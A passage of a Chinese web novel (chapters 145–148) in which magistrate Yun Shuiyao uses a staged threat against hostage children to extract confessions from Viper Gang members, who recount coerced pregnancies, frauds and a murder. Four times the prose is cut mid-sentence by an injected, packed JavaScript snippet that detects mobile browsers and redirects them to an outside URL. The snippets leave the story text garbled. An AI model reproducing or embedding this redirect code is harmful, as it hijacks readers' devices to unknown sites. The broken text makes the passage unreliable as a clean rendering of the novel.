那三个帮主见到元景佑离开,以为他是去宁州捣毁三名老家仆的坟墓了,都十分悲愤、伤心、无奈。但他们还心怀希冀,也许元景佑只是出门回家而已,或是出去做一些别的事,未必是去捣毁坟墓。 在这样的猜测中,他们心里越来越不安,一会自我安慰,一会又极度担心,一颗心七上八下的。 云水谣假意说道:“既然无人愿意认罪,那就把人犯都押回大牢,继续拷打。” 这时,却有两名面生的侍卫直接闯进了公堂,走到云水谣身边,耳语了几句。 145.演戏 那两名侍卫说的是:“大人,元世子吩咐我们这样做,我们的表现怎么样?” 云水谣点头道:“我知道了,你们先下去吧。” 那两名侍卫又匆匆离开。 几名人犯已经被带着往外走,云水谣道:“等一下,先把人犯带回来。” 于是,几名人犯又被押了回来,跪在公堂上。 云水谣说道:“刚才,有两个人从京城来,给本官带来一个消息。我想,你们会愿意听的。” 三个帮主,还有琼娘、佩儿,都抬起头来,看向云水谣。 云水谣继续说道:“前阵子,有官员发现了一批被集中抚养的孩子。那些孩子都没有父母在身边,管理他们的人对他们很严厉,动辄打骂。那个官员觉得奇怪,就把管理者带回去审问,发现这些孩子竟然都是蝮蛇帮成员的孩子。 有人用这些孩子来控制蝮蛇帮成员,让他们听命于自己。只是,管理者未曾招供幕后之人是谁。皇上听闻后震怒,觉得蝮蛇帮的孩子,生来就有罪,决定处死这批孩子。” 这几名人犯都露出了惊讶、不忍、悲伤的表情。 云水谣知道自己猜对了,接着说道:“不过,太子殿下仁慈,请求皇上饶恕这批孩子。皇上听说雍州官府抓了几个蝮蛇帮的人犯,就说,可以给两个孩子活命的机会,只要他们的父母肯如实认罪。太子又请求多给几个孩子活命的机会,但皇上不同意,只给了两个活命的名额。 至于谁的孩子能活,由本官来决定。所以,你们五个人当中,谁招供的事情最多,对剿灭蝮蛇帮的帮助最大,你们的孩子就能活下来。你们五个人当中,至少会有三个人的孩子要被处死。要不要为自己的孩子争取活命的机会,你们自己决定吧。” 几个犯人都心跳如鼓,又是紧张,又是害怕,又心怀希望,同时对其他几个犯人心生防备。 刚才听了云水谣一番话,他们本能地怀疑是假的,是云水谣为了套话而编出来的。 可是云水谣若是在胡说八道,又怎么知道蝮蛇帮的主要成员都有孩子被当做人质呢? 所以,这话听起来又不像假的。 而且,蝮蛇帮成员的孩子,确实被集中在一起抚养,只是琼娘等人不知道那个地方在哪里而已。 这些年,他们想了无数办法寻找孩子的下落,都没有成功,没想到被官府找到了。 为了给自己的孩子争取活命的机会,几人争先恐后地说话,一边说还一边推搡别人。 他们的手都被缚住了,只能拿身体撞旁边的人,场面很混乱。 云水谣一拍惊堂木,道:“安静!来人,先把这几个人犯拉开,让他们没法互相争斗。” 于是,几个人犯被拉开了一大段距离,谁也不挨着谁。 看见三个帮主也是一脸急切的样子,云水谣就知道自己猜对了。三个帮主也是有孩子被当做人质控制起来的,他们看着在蝮蛇帮内地位更高,其实只不过是高级点的鹰犬而已,跟琼娘、佩儿没有本质不同。 云水谣道:“本官知道你们都急着招供,这样吧,谁先谁后,就抽签决定。先说的也不一定占便宜,最终活命名额的决定,跟说多说少没有关系,关键是你们说的话是否有用,在蝮蛇帮的剿灭上又出了多大的力。所以,你们想好了再说,别说废话。” 云水谣的提议,看起来是最先说话的两人能抢到名额。但是如果说出来的事情不太重要,又争取不到名额。这么看来,反而是三位帮主希望更大,因为身为帮主的他们,知道的内情一定比琼娘她们更多。 因此,堂下跪着的这五个人犯,每个人都觉得自己可以为孩子一搏。要么抽签抽到前两个,要么说出一些其他人不知道的事,都是有希望的。 云水谣命人拿来五张纸,分别写上这五个犯人的名字。然后,她让柳依依把这五张纸拿下去,让几个人犯过目。 云水谣道:“你们看好了,每张纸上都写下了一个人名,本官没有弄虚作假。一会抽签时,抽到谁就听天由命了。” 人犯们确认名字无误,且纸张大小、厚度都是一样的,也就没有异议了。 云水谣让柳依依把这五张纸折起来,折成半个巴掌大小,然后放入抽签筒中。 云水谣道:“柳依依,你摇晃一下抽签筒,接着本官来抽签。” 柳依依道:“是。” 柳依依当着众人的面,用力摇晃抽签桶,摇晃了好一会儿,确定已将纸张顺序打乱。 然后,云水谣把手伸进抽签筒中,随机抽取了一张。 底下的几个犯人,都很紧张地等着云水谣公布结果。 云水谣展开那张纸,道:“本官抽到的第一个人是——琼娘。” 说着,云水谣把纸上有名字的那一面展示给底下的人,让大家都能看见。 琼娘十分欣喜,而其他几个犯人则是又紧张,又失望,脸色发白。 几天前,琼娘绝不会想到,自己有一天会因为抽到了认罪的机会而如此欣喜。 云水谣对琼娘道:“琼娘,你是第一个,你先说吧。把你是如何加入蝮蛇帮的、这些年都做了什么、知道蝮蛇帮的什么秘密,都说出来。” 琼娘道:“是。我三岁那年,因家乡饥荒,被父母抛弃,后来被一个人.贩子捡到。他把我养到七岁,然后卖进了青楼。没过多久,青楼里来了一个蒙面人,他对鸨母说,要买几个漂亮的小女孩,鸨母就把我推销了出去。 我跟另外四五个小女孩,一起被这个蒙面人带走。他带我们走了很长的路,路上不断地买一些孩子过来。大概赶了一个多月的路,我们被带到一座大宅子中。 蒙面人告诉我们,他在为蝮蛇帮培养人才,以后我们这些孩子都是蝮蛇帮的成员了。我们当中只有少数人能成为头领,其他人都只能做下属。所以我们要好好表现,好好学本事,才有成为头领的希望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935403|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们就在那里学习认字、武功、乐器等技艺。有时候,会有三个蒙着黑袍的人过来看看,管理我们的教头们说他们三个是蝮蛇帮的帮主和副帮主,让我们要恭敬一些。于是,每次三位教主来,我们都会行礼。不过三位教主很少说话,也从来不露出真面目。 有些好奇的孩子想扯下他们身上的黑袍,会立刻被制止并责罚。时间长了,我们都不敢靠近三位教主。不过三位教主很少来我们这里,平时也不知道在哪。 就这样过了许多年,等到我十四岁的时候,我的相貌、武功、智谋、才华都在许多同龄人之上。我和佩儿,还有另外两个差不多优秀的少女,被蒙面人带到一间屋子里。当然,那时候我不叫琼娘,佩儿也不叫佩儿,我叫四喜,她叫月季。我们的名字,在这些年里变了很多次。然后……然后……” 琼娘忽然说不下去了,浑身发抖。 云水谣问道:“然后发生了什么?” 琼娘忽然流泪,紧紧抿着嘴唇。 云水谣道:“琼娘,如果你一直不说话,本官就抽下一个人说话了。” 琼娘赶紧说道:“不……我还没说完……我和佩儿她们,被带到一间屋子里。蒙面人对我们说,我们几个可以成为蝮蛇帮的头目,以后我们的待遇会比普通帮众高很多。当时,我们都很兴奋。我还问蒙面人他是什么人,为什么认识这么多年了,他从来不露出真面目。 他说这不是我该打听的,知道得太多对我没有好处,于是我就不敢问了。他给我们几个喝了茶,然后……然后我们就晕了过去……” 琼娘深吸了几口气,咬着牙说道:“等醒来的时候,我们几个已经被锁住了,动弹不得。每天都有蒙着脸的男人来侵.犯我们,而且来的都是不同的人,直到……直到我们怀有身孕为止。” 云水谣虽然早就猜到她们的孩子可能不是自愿生的,但如今亲耳听琼娘说出来,云水谣还是有些难以接受,心里既震撼,又恶心,同时也很同情琼娘、佩儿她们的遭遇。她觉得想出这种主意的人,简直禽.兽不如。 佩儿听琼娘提起以前的经历,也是默默流泪,咬着嘴唇忍耐着心中翻涌的情绪。 柳依依心软,听到这里,已经转过身去,偷偷擦泪。 云水谣递给柳依依一块手帕,示意她冷静一些,因为现在是她在记录堂上发生的事,她的情绪不能崩溃,否则容易写错。 柳依依也跟着云水谣做事很久了,知道轻重,便强忍着各种情绪,恢复平静,继续记录。 琼娘吸了吸鼻子,继续说道:“没过多久,我们几个都被检测出怀有身孕,接下来就没有陌生男人来了。但是,我们仍旧没有自由,被锁在屋子里十个月,直到生下孩子。 孩子一生下来,就被那个蒙面人抱走了。他说要让我们母子分离,这样我们才能一心为蝮蛇帮效力,不会背叛。如果我们表现得不好,或是有背叛的想法,我们的孩子就会受罪甚至死去。” 146.刻字 琼娘接着说道:“因此,我们发誓绝不背叛。蒙面人让我们在自己的孩子身上留下一个印记,这样以后方便认出孩子。我们不能替孩子取名字,蝮蛇帮成员生下的孩子会被集中抚养,只有孩子身上的记号可以表明母亲的身份。 于是,我在自己孩子身上刻下了一个‘喜’字,这是我名字的一部分。我知道刻这么多刀很残忍,我也不忍心,可我为了让自己的孩子不跟其他孩子混淆,只能选一个笔画复杂的字刻上去。 佩儿在自己孩子身上刻了四朵月季花。之所以刻这么多,是怕其他孩子身上恰好也刻了月季花,只有一朵的话会难以区分。 坐完月子后,我和佩儿就成了蝮蛇帮的香主之一,领到了改造过的奔月环,既能当信物,也能当武器。后来,我们一直在执行各种任务,为蝮蛇帮敛财。 当时跟我们关在一起的其中一个女孩,生下了一个女儿。她只在女儿身上划了一道小口子,然后就把女儿交给了蒙面人。蒙面人让她多做几道标记,她拒绝了。 蒙面人看出她并不怎么在意自己的女儿,便说道:‘这道小口子,几天就愈合了,到时候一点痕迹都没有。你好像并不在意以后是否能认出自己的女儿,说明你并不在乎她。既然如此,我把她带走,意义也不大,也保不住你以后不叛变。可能在你心里,儿子比较重要吧。那你就留在这里继续生孩子,直到生出儿子为止。’ 后来,那个女孩果然被关着,继续生育。等到第四胎生了儿子,她非常在乎,在儿子身上做了一个复杂的标记,蒙面人才放心,知道这个儿子会是她的软肋。 从那以后,她才被放了出来,跟我们一起成为蝮蛇帮的头目。” 云水谣问道:“所以,并不是每个头目都只有一个孩子?” 琼娘道:“对,那个蒙面人会观察我们,看我们有多在乎自己的孩子。确定母子连心的,他才能放心。” 琼娘说了一些自己骗人钱财的事,大大小小有三十多件,还把自己认识的头目都招供了,柳依依都记录了下来。 关于杨小官人自尽案,她也交代了:“当时,杨小官人拿着二十万两银票来找我,我拿过来看了看,就很快用假的银票替换了真的。我的手法很不错,他根本没看出来。他拿着假的银票去找鸨母赎我,我就趁机从屋顶逃走了。 在青瓜巷墙壁的小洞里,有一套吴阿婆的衣服。我脱下自己的衣服,塞在小洞里,换上吴阿婆的衣服,假扮成她,推着泔水车离开了小巷。由于吴阿婆平时一直都蒙着脸,不会有人仔细看她,所以我假扮起来难度也不大。” 这一切,都跟云水谣之前的推论吻合。 云水谣问道:“这之后的几个月,你都躲在吴阿婆家里?” “不是,我只是偶尔待在那儿,有时候我会出远门,继续乔装打扮骗钱。” “后来你为何要表演坠落悬崖那一幕?” “我发现,官府对于杨小官人的案子,似乎一直在追查,没有放松。所以我想,我假死是一劳永逸的,就在官兵面前假装坠崖,实际上我抓住了悬崖边的藤蔓。等官兵一走,我就爬了上来。” “本官第一次去吴阿婆家调查的时候,你为何能立刻反应过来,跟真正的吴阿婆调换身份?” “不是我反应快,而是那天我刚好不在。等你们调查完毕,离开吴阿婆家的时候,佩儿偷偷找到我,说官府已经开始怀疑运泔水的人了。我怕吴阿婆露了马脚,便提议接下来几天由我来扮演吴阿婆,吴阿婆住到不远处的仙女庙里。 你们后来去而复返的时候,见到的‘吴阿婆’已经是我了。” 云水谣点头道:“怪不得我第二次去吴家时,总感觉哪里怪怪的,原来是吴阿婆皮下换人了。我当时虽然没看出来,但不同的人给人的感觉是不同的。我的直觉感受到了异常,但理智又找不到破绽。” “是。” 杨小官人一案已经弄清楚了,云水谣心中的一块石头也落了地。 接着她问道:“听说蝮蛇帮有很多头目,你为何只说了一部分?” 琼娘道:“我就认识这么多,还有一些我不认识。蝮蛇帮培养帮众的地方,好像不止一处。蝮蛇帮的头目聚会时,也是蒙着脸。如果不是从小一起长大,是认不出来的。” 接着,琼娘又交代了自己这段时间犯下的一些小案子。 云水谣第二次抽签,抽到了佩儿。 佩儿也把自己知道的事说了,她的经历跟琼娘差不多,区别只在于她犯的案子只有二十多个。 她把自己用银针射中黄四牛脑门的事也说了:“黄四牛一案中,我的任务是把他引到郊外,用银针刺他脑门,拿走他身上的所有钱,且要确保他死亡之后再离开。在黄四牛刚刚接触赌场、还没赢钱时,我就刻意以本来面目出现在他面前,跟他说话,让他以为我对他有意思。他果然被我的美貌吸引住了,对我很着迷,还说想娶我。 我跟他说,我喜欢有本事的男人。如果他能在赌场赢钱,可以带着银票来郊外找我。 本来黄四牛去赌场只是玩玩,也不在意输赢,如果输得太厉害就会离开,不再赌钱了。 但是他被我吸引后,很希望得到我的认可,就迫切想要赢许多钱。这时候,蝮蛇帮其他精通赌术的人去找他,教他怎样赌钱才能赢,他就认真学习。 学了之后,他果然把其他村民的钱都赢光了。他迫切想要见到我,得到我的认可,所以也没去钱庄存钱,而是直接来郊外找我。不过,我躲起来了,他自然找不到。” 云水谣道:“怪不得根据那些村民的供词,黄四牛到了郊外之后左顾右盼的,好像在找人,原来是在找你。” 佩儿道:“没错。我远远看见他后,用轻功接近他,拿走他身上的钱。我的速度很快,所以他毫无察觉,还以为钱还在自己身上。接着,我躲在暗处,用银针射中他脑门。 银针上涂了一种会令人发狂失智、力气变大数倍的药物,而且仵作检验不出来。黄四牛中针后,果然发狂。几个村民来找他,还没说什么,他就攻击村民。 在混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943145|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战中,村民们将他打死。我一直在暗中观察村民会怎么处理。见他们把黄四牛的尸体扔进了水中,我就离开了。” 云水谣问道:“你不知道把黄四牛的尸体打捞上来报官的,就是你们的帮主?” “不知道,这个案子,我也只分到一小部分任务,很多事情我们帮派内是分工合作的。帮主平时虽然打扮成渔夫,还戴了人皮面具,但从来没有跟我和琼娘相认过。所以我既不认得帮主和副帮主易容后的模样,也不认识他们的本来面目。” “教黄四牛赌术、让他把村民们的钱都赢了的人,是谁?” “这我也不知道。” 一直跪在旁边的曾有财(沈为安)说道:“是蝮蛇帮的另一个头目,他精通赌术。等会轮到我说话时,我会详细交代。” 云水谣点了点头,接着问佩儿:“为何黄四牛身边的人都说,没见过黄四牛跟什么奇怪的陌生人接触过?” “因为我们去找黄四牛时,都是趁他落单的时候,或者是夜深人静时,所以没有其他人看见。” 有了佩儿的供词,黄四牛的案子就可以翻转了。 那几个村民固然有罪,但他们的错误是次要的。如果黄四牛没有发狂,那几个村民去讨要钱财,说不定黄四牛会还给他们一些,双方也不至于发生混战。 而且,真的一言不合打起来的话,没有中针的黄四牛是打不过这么多人的,他会很快落于下风。那几个村民怕出人命,也不会继续下手。 正是因为黄四牛变得像狂躁的野兽一样,最终的后果才会那么严重。 所以,主要责任在佩儿。当然,佩儿身后的帮主,帮主身后的操控者,自然才是真正的凶手。 琼娘和佩儿都知道,自己说出这么多事,肯定是活不了的。但如果能给自己的孩子一个活命的名额,那她们死了也值了。 琼娘和佩儿对视了一眼,彼此都对对方有几分同情、惋惜和悲伤,但也带着一丝防备。 今天只有两个孩子能活,琼娘和佩儿也存在竞争关系。 但是,她们两人一同长大、一同训练、一同受苦的经历,又让她们对彼此有很深厚的感情。 现在,她们两人的内心都很复杂。 云水谣问道:“那个运泔水的方大娘,是不是被你们杀了?” 佩儿道:“没错,是我杀了她。在琼娘打算拿走杨小官人的钱的前几天,我就开始布局。我对方大娘说,我知道外地有个不错的投资项目,想过几天带她去看一下,但需要保密。如果被别人发现,可能别人也想加入,那我跟方大娘能分到的钱就少了。我跟方大娘比较熟悉,她对我很信任,完全相信我说的话。 我跟她约定的时间是四月一号。于是,在四月一号那天,方大娘就故意对邻居说,自己有事要出远门一趟,然后就来吴家找我。我杀了她,把她的尸体埋在仙女庙下面。 琼娘卷款潜逃的那天,方大娘也失踪了,官府就会怀疑方大娘就是琼娘,或是方大娘是琼娘的同伙,就不会怀疑其他人了。” 147.孩子 云水谣叹道:“你们很聪明,也很残忍。” 佩儿脸上露出一丝懊悔:“为了躲避官府的追踪,我只能这么做。好在现在已经解脱了,我以后不需要去算计任何人。” 云水谣派衙役去仙女庙挖尸体,等挖到方大娘的尸体后,立刻回禀。 云水谣抽中的第三个人,就是扮成渔夫的曾有财(沈为安)。 云水谣道:“我还是叫你的本名沈为安吧,接下来该你说话了。” 沈为安垂头丧气道:“是。这个名字是我父母所取,我却这么多年不再使用,实为不孝。” “别说这些没用的了,你不孝的地方不在于抛弃本名,而在于成立蝮蛇帮,为祸百姓。你父母和祖宗的脸,都被你丢尽了。” “是,大人教训得是。” “本官很好奇,你们是怎么从普通的少年,变为蝮蛇帮的帮主的?” “是柳南正给我们出的主意。” “柳南正?就是那个传说中骗光了你们的钱,导致你们自尽的人?” “对,其实他没有骗光我们的钱。他一开始接近我们,我们就留了个心眼,没有信他。因为我们三个的父母曾经嘱咐过,我们的家财,如果只是日常使用,是一辈子也用不完的。但投资、创业却可以让我们一夜之间返贫。 所以,我们三人的父母,临终之前都三令五申,不可贪心,不可轻信别人所说的投资。哪怕对方说得再言辞凿凿,哪怕那些投资真的能赚钱,也不要去碰。 我们牢记父母的教诲,从来没有跟柳南正投资过。柳南正见我们态度坚决,也就不再提这些话题了,但还是跟我们继续交朋友,对我们也不错。后来有一天,夏石,也就是田六顺被人绑架了,绑匪索要几十万两赎金,刚好是我们三人的全部身家。 我和秦度,也就是王波,当时很慌张,想报官。柳南正刚好在我们的别院做客,听说了这事,就说先不要报官,以免绑匪撕票。他在黑白两道都有朋友,由他出面斡旋,说不定能把夏石要回来。 我们便请求他帮忙。没想到,才过了一天,夏石就被完好无损地放了回来,我们的财产也没有受到任何损失。我们三个都很感激柳南正。” 沈为安休息了一下,接着说道:“柳南正当时对我们说:‘你们以为三个人抱团生活就安全吗?你们想想,为什么绑匪索要的赎金,刚好是你们三人的全部身家,一点也不多,一点也不少?像你们这样有钱又无依无靠、年纪又轻的人,一到某个地方,就会被当地的地头蛇盯上。他们会调查清楚你们的来龙去脉、身家多少,然后设局弄走你们所有的钱。一旦你们没钱了,他们也不会来加害,因为他们就是求财。这次就算你们为了留住财产,不管夏石的死活,任由他被绑匪杀死,那些坏人还是有别的圈套给你们钻,非要把你们的财产弄到手为止。’ 当时,柳南正这一番恐吓,让我们三人都吓了一跳。我们这才明白,生活没有那么容易,哪怕不露富都不一定安全。我们看柳南正见多识广,就问他该怎么办。 柳南正说:‘你们拥有几十万两银子,以为这辈子都能衣食无忧。可你们看到了,一场绑架,就有可能让你们失去所有的钱。所以,你们这样吃老本是不行的,必须想办法不停地挣钱,才能应对生活中的种种风险。’ 他这样说,我们也觉得有道理,同时也有几分紧张,总觉得身边到处都是觊觎我们财产的人。于是,我们问他:‘你说的挣钱,是不是跟你投资?’ 柳南正却说:‘我说的不是这个。投资确实有风险,这些年我也是有赚有赔,堪堪持平而已。我说的方法,就是去赚别人家多余的钱。’ 当时,我们都不理解,什么叫别人家多余的钱?柳南正又暗示了一番,我们才明白,让我们去把别人的财产骗过来,自己享用。 他自有一番歪理,对我们说道:‘有很多人是不需要那么多钱的,他们拼命地赚钱,拼命地存钱,结果到死的那一天,钱还剩下很多。你们说,这不就是多余的钱吗?我们把那些钱骗过来花掉,非但不是做坏事,反而是让这些钱流入市场中,发挥价值,是件好事。’ 对于他的话,我们不能苟同。他又对我们说:‘有很多人为富不仁,德不配位,越有钱,就越会做坏事。对这样的人来说,拿走他的一部分钱财难道不是好事吗?我们表面上是在骗钱,实际上是用心良苦,帮助他人增长德行。’ 我们差点就被这话绕进去了,但想了想,还是拒绝了。谁知,他却把我们打晕了。等我们醒来的时候,发现自己竟在土匪窝里,而柳南正竟然和那些土匪称兄道弟。柳南正继续劝说我们,我们不听,那些土匪就拿刀威胁我们。他们一个唱红脸,一个唱白脸,让我们很慌张。 为了活命,我几乎要妥协了。夏石和秦度说,如果我们现在死了,还算一条好汉。但若是被胁迫着做坏事,一世清名都毁了,也辱没了祖宗。我觉得他们说的有道理,于是也引颈就戮。 柳南正见状,却并没有杀了我们,而是把我们分别囚禁在三个房间。这三个房间皆是无比奢华,有很多装饰品是我们平时都舍不得买的。他和土匪们一直好吃好喝供着我们,只是不许我们出门,也不让我们三人见面。 几天之后,我房间来了个美丽的少女,她说她是奉了柳南正之命,来照顾我的。我觉得很不适应,想请她离开,可她却给我下.药,与我发生了关系。第二天,又来了一个陌生的少女,也是如法炮制。一连一个月,一共有四名少女轮番来找我,我渐渐习惯了她们四个的陪伴,从一开始的抗拒,到后来的自愿。 但我心里想,如果柳南正用美人计来诱.惑我,我也是不能答应的。这四个少女虽然美丽,但要我舍下她们,也是说舍就舍,绝不能因为她们而上了柳南正的贼船。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948266|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可是,这四名少女从未跟我说起柳南正的计划,只是跟我聊些轻松的话题,想尽办法让我开心。我想,也许她们跟柳南正是不同的。 后来的某一天,我却再也见不到她们了。一连数日,我都是一个人。我开始慌了。这时,柳南正来找我,说那四名姑娘都已经怀了我的孩子,他让那四名姑娘去安胎了。 我既有些惊喜,又有些害怕,不知道柳南正想做什么。柳南正说:‘那四个孩子生下后,我会带走,交给别人抚养,你找不到他们的。如果你希望孩子们好好的,你就听我的话。如果不听,或是骗到的钱不够多,你的孩子们就会受苦。’ 那一刻,我终于明白了柳南正的谋划。美人计不一定行得通,毕竟谁也没法控制我的思想。但孩子就不一样了。孩子跟我血脉相连,我一定不会不管孩子,尤其还是四个。 我当时如遭雷击,惶然失措,不知道以后该怎么办。这时候,柳南正又允许我和夏石、秦度见面了。我们一交流,才发现这段时间我们的经历是相同的。他们两人也各有了四个孩子。 我们当时都很年轻,可孩子的出现,让我们迅速代入到父亲的角色中。我们满脑子想的,都是怎样让孩子过得更好。 那段时间,我们一直被囚禁在土匪窝中,但待遇很不错。有些食物还是贡品,我们平时都买不到。柳南正隔三差五就会来跟我们说他的计划,还说:‘你们这段时间在这里享受到的一切,包括吃的、穿的、用的,耗资巨大,每天都要花费一百两。以你们的身家,肯定没法每天过这样的日子,否则几年就没钱了。但是只要去骗钱,外面的肥羊那么多,你们就会有花不完的钱,享受不完的好日子。’ 虽然我们心里觉得,为了自己的享受,去骗别人的钱不对,但是在土匪窝的这段日子,我们已经习惯了这样的享受。由奢入俭难,我们不想回到从前了。从前我们虽然衣食无忧,但不敢买太贵的东西,也不敢太过享受,生怕把家产用完。 再加上我们的孩子被柳南正控制,也就只好同意了他的计划。于是,蝮蛇帮就产生了。我是帮主,夏石和秦度是副帮主。 在这段时间,我们完成了假死、又被柳南正从棺材里挖出来的计划。那三名老家仆以为我们真的死了,非常伤心。等我们安顿好一切,回去找他们时,发现他们因为悲伤过度而去世了。这是我们三个心里永远的遗憾。 我们约定,以后每一年,不论我们在哪里,都至少要为三位老家仆扫墓三次。 那十二个服侍过我们的少女生孩子的时候,我们都会被带过去看,亲眼见到孩子被生出来。我们刚对孩子产生父爱,孩子就被抱走。抱走之前,柳南正只允许我们在孩子身上做记号,不许起名字,说将来总有团聚的时候。” 云水谣道:“原来是这样。所以,你们三人各有四名孩子被柳南正控制了?可柳南正不是早就死了吗?” 148.争夺 “准确地说,是被柳南正幕后的主子控制了,可我们也不知道他幕后的主子是谁。柳南正在一次作案时失了手,被官府所擒,判了死刑。从那以后,跟我们联络的就是另一个蒙面人,我们从来没看过他的真面目。我们叫他柴先生。” “能从他的身形、声音判断出他是谁吗?” “不知道。我们只能确定,他不是我们以前认识的人。” “你们三个的武功,也是成立蝮蛇帮之后学的?” “不是,我们从小就学过一些拳脚功夫,但比较粗浅。成立蝮蛇帮后,柳南正找了几个厉害的武师,传授我们功夫,但我们学得一般。” 怪不得之前元景佑在跟王波(秦度)、田六顺(夏石)二人交手的时候,会觉得他们身手一般,原来他们确实学得不怎么样。 云水谣问道:“十几年前为你们生孩子的那十几名少女呢?” “她们生完孩子后,就被转移了。当时,我们想把这些姑娘留在身边,但柳南正不允许,说她们还有别的用处。我们也不敢说什么,从那以后就再也没见过那十几名姑娘了。” “为何柳南正会选中你们三个成立蝮蛇帮?” “我也不知道,后来我也曾思考过这个问题。我想,可能是因为我们三个那时候比较年轻,也没有什么人生经验,比较好控制吧。而且,柳南正要做的是长期骗钱的生意,自然愿意花一点时间跟我们慢慢磨。” “琼娘和佩儿被游街时,为何是你们三个帮主亲自出来杀人灭口?” 沈为安道:“因为我们三个当时刚好在附近,临时找其他帮众来不及了,所以我们打算亲自动手。夏石和秦度之所以来找我,是因为他们在给三个老家仆扫墓的时候,遇见了元景佑的盘问。他们觉得元景佑像是官府中人,害怕以前的事被人发现,所以决定暗杀元景佑。 当时他们以为,元景佑只是一个普通的官差,他们两人合力应该能将其杀死,没想到元景佑武功这么高。他们堪堪逃走,来找我商议对策。我们还没商议出对策的时候,就听说琼娘和佩儿会被游街示众。她们俩知道得太多了,必须死,所以我们三个制定了刺杀计划。 当时说好了,我负责第一波刺杀,夏石和秦度负责第二波刺杀。官府纵然能防住我,也绝想不到刺客有两批。没想到,还真被你们料到了,我们才一起失手被擒。” 接着,沈为安又招供了蝮蛇帮的其他头目、账本及各种隐私。 他是帮主,知道的比琼娘和佩儿多。 夏石和秦度在一边听着,有些慌张,道:“沈为安,你不能把什么都交代了,不然一会我们交代什么?孩子活命的名额只有两个,我们应该公平竞争才是,你不能不给我们留退路啊。” 沈为安有些歉疚地看着他们,说道:“抱歉了,在这种时候,我不可能讲什么公平竞争,这是你死我活的事。虽然我们是从小的交情,但还是我自己的孩子比较重要。更何况,我就算得到活命的名额,也只能从我的四个孩子中选一个活下去。这名额我自己还不够分呢,我也要面临亲眼看着其他三个孩子去死的局面。你们要怪我,就尽管怪我好了,我不在乎。” 夏石和秦度虽然生气且绝望,但也知道沈为安此举符合人之常情,也不能深责。要怪就怪……该怪谁呢?怪柳南正设下毒计?怪他们自己没有狠下心来,从一开始就舍掉自己的孩子,反而上了柳南正的贼船? 怪那几个少女给他们下.药,怀上他们的孩子?可她们也是身不由己。 还是怪自己运气不好,不是被这个坏人盯上,就是被那个坏人盯上,最终自己也沦为了坏人…… 回忆起这一辈子的种种,他们也十分唏嘘和迷茫。 接下来抽签,抽到了夏石,也就是那个伪装成中年农夫的人。 夏石有些灰心丧气地说道:“我没什么好说的了,我知道的都已经被沈为安说完。” 夏石不说了,那接下来就剩最后一个人——秦度了,也就是之前假扮成跛足老者的人。 云水谣看向秦度:“你有什么要补充的吗?” 秦度抬头道:“有。我知道一直跟我们联络的那个蒙面人是谁,也知道他背后的主子是谁。” 此言一出,其他人犯都震惊地看着他。 云水谣则是十分惊喜,问道:“跟你们联络的蒙面人是谁?” 秦度道:“他有一次私底下扯下面罩时,我曾无意间见过他的脸。虽然我不认识他,但我记下了他的模样,偷偷画了下来,多方打听。我已经是蝮蛇帮的副帮主,势力跟以前不可同日而语。很快,我就打听到了他的真实身份。他是定国公欧阳家的暗卫,他背后的主子,就是欧阳家的人。具体是哪一个,我不确定。” 云水谣有些惊讶,但又觉得在情理之中。 欧阳家,是福王的外祖家。他们偷偷用各种正当或不正当的方式来帮福王敛财,再正常不过。 一开始的百尺楼一案,被他们躲过去了;接下来的天神教一案,他们只折损了一个欧阳世杰;这次的蝮蛇帮一案,关系重大,影响深远,罪孽深重,如果曝光出来,说不定能把欧阳家甚至福王一网打尽。 福王一向跟太子不对付,而云水谣又已经加入太子阵营。如果能通过这个案子,将福王一党一网打尽,自己也算立了一大功。 不过,兹事体大,还是要慎重,不能鲁莽。 云水谣问秦度:“你既然早就知道了这些,为什么没有告诉你的两个朋友?” 秦度道:“我也刚知道不久,还没想好要用这些消息做些什么。我意识到我们只是欧阳家的棋子,棋子想跟执棋者斗,是天方夜谭。所以,我一直在犹豫,到底是装作什么都不知道,还是利用这个消息,逼迫欧阳家交出我的孩子。但是,我又怕处理不好,会伤害到我的孩子。 我没有跟沈为安和夏石说,是怕他们一时冲动,拉着我一起去跟欧阳家谈判,要回我们的孩子。那样可能有生命危险,所以我暂时没告知他们。云大人,是不是欧阳家藏匿孩子的地点被京城的官员发现了,上报给了皇上?” 云水谣道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 